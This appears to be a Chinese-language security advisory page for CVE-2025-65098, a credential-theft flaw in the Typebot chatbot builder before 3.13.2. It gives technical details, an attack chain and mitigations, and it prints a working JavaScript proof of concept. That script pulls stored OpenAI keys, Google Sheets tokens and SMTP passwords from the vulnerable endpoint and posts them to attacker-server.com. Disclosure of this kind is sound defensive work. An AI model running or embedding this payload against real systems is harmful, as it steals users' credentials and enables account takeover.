IPBUF安全漏洞报告
English
CVE-2025-65098 CVSS 7.4 高危

CVE-2025-65098 Typebot客户端脚本执行导致凭证窃取漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-65098
漏洞类型
客户端脚本执行/凭证窃取/敏感信息泄露
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Typebot (开源聊天机器人构建器)

相关标签

CVE-2025-65098Typebot凭证窃取客户端脚本执行敏感信息泄露API密钥泄露JavaScript注入开源聊天机器人CVSS 7.4高危漏洞

漏洞概述

CVE-2025-65098是Typebot聊天机器人构建器中的一个高危安全漏洞,CVSS评分达到7.4。该漏洞影响3.13.2之前的所有版本,源于客户端脚本执行机制存在缺陷。攻击者可以创建一个恶意的typebot,当受害者点击"Run"预览该bot时,恶意JavaScript代码会在受害者浏览器中执行,进而窃取其存储的所有凭证信息,包括OpenAI API密钥、Google Sheets访问令牌以及SMTP密码等敏感数据。漏洞的核心问题在于/api/trpc/credentials.getCredentials接口直接返回明文API密钥,且未验证请求者是否为凭证的合法所有者,任何客户端脚本都可以无限制地获取这些敏感信息。此漏洞可能导致大量用户的第三方服务账户被入侵,造成严重的数据安全和隐私泄露风险。由于该漏洞利用门槛较低且影响范围广泛,建议所有Typebot用户立即升级到3.13.2或更高版本。

技术细节

该漏洞的技术根源在于Typebot的客户端脚本执行机制缺乏适当的安全隔离。在受影响版本中,当用户预览一个typebot时,嵌入的JavaScript代码会在用户浏览器上下文中执行。攻击者利用这一特性,在恶意typebot中注入JavaScript代码,该代码可以通过API调用/api/trpc/credentials.getCredentials端点来获取受害者账户下存储的所有凭证。关键问题在于该API端点存在两个安全缺陷:首先,它直接返回凭证的明文值(包括API密钥、令牌和密码),而非仅返回凭证的存在性或元数据;其次,API未验证请求者的身份是否与凭证所有者匹配,导致任何来自同一域的脚本都可以无权限访问这些敏感数据。攻击者获取的凭证类型包括:OpenAI API密钥(可用于调用GPT模型并产生费用)、Google Sheets API令牌(可访问受害者的Google Sheets数据)以及SMTP服务器密码(可用于邮件钓鱼攻击)。攻击者获得这些凭证后,可以进一步横向移动,入侵受害者的其他关联服务。修复版本3.13.2通过加强凭证访问控制和使用更安全的凭证存储机制来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者创建恶意typebot,在其中嵌入JavaScript窃取代码
STEP 2
步骤2
攻击者通过社交工程手段诱导受害者访问或预览该恶意typebot
STEP 3
步骤3
受害者点击"Run"预览typebot,恶意JavaScript在受害者浏览器中执行
STEP 4
步骤4
恶意脚本向/api/trpc/credentials.getCredentials端点发起请求
STEP 5
步骤5
API端点未验证凭证所有权,直接返回所有存储凭证的明文数据
STEP 6
步骤6
恶意脚本收集OpenAI密钥、Google Sheets令牌、SMTP密码等敏感信息
STEP 7
步骤7
窃取的凭证被发送到攻击者控制的服务器
STEP 8
步骤8
攻击者利用窃取的凭证访问受害者第三方服务,进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65098 Typebot Credential Theft PoC // This PoC demonstrates the credential theft vulnerability in Typebot < 3.13.2 // Malicious Typebot JavaScript payload const maliciousPayload = ` <script> // Exfiltrate all stored credentials async function stealCredentials() { try { // Call the vulnerable API endpoint const response = await fetch('/api/trpc/credentials.getCredentials', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ json: { typebotId: '' } }) }); const data = await response.json(); const credentials = data.result?.data?.json || []; // Extract sensitive information const stolenData = { openai_keys: [], google_sheets_tokens: [], smtp_passwords: [] }; credentials.forEach(cred => { if (cred.type === 'openai') { stolenData.openai_keys.push({ name: cred.name, apiKey: cred.data.apiKey }); } else if (cred.type === 'googlesheets') { stolenData.google_sheets_tokens.push({ name: cred.name, token: cred.data.accessToken }); } else if (cred.type === 'smtp') { stolenData.smtp_passwords.push({ name: cred.name, host: cred.data.host, port: cred.data.port, username: cred.data.username, password: cred.data.password }); } }); // Exfiltrate to attacker-controlled server fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify(stolenData) }); } catch (error) { console.error('Credential theft failed:', error); } } // Execute when victim clicks "Run" stealCredentials(); </script> `; // Attack vector: Embed this payload in a malicious typebot // When victims preview/run this typebot, credentials are stolen console.log('Malicious payload ready for embedding in Typebot');

影响范围

Typebot < 3.13.2

防御指南

临时缓解措施
在无法立即升级的情况下,应采取以下临时缓解措施:1) 限制typebot的分享范围,避免未知用户预览;2) 对已暴露的API密钥进行轮换;3) 在API网关层面限制对/api/trpc/credentials.getCredentials端点的访问;4) 启用内容安全策略(CSP)限制脚本执行;5) 监控异常的网络流量和API调用模式。同时建议尽快安排升级到修复版本3.13.2,因为临时缓解措施无法从根本上解决凭证访问控制缺失的问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表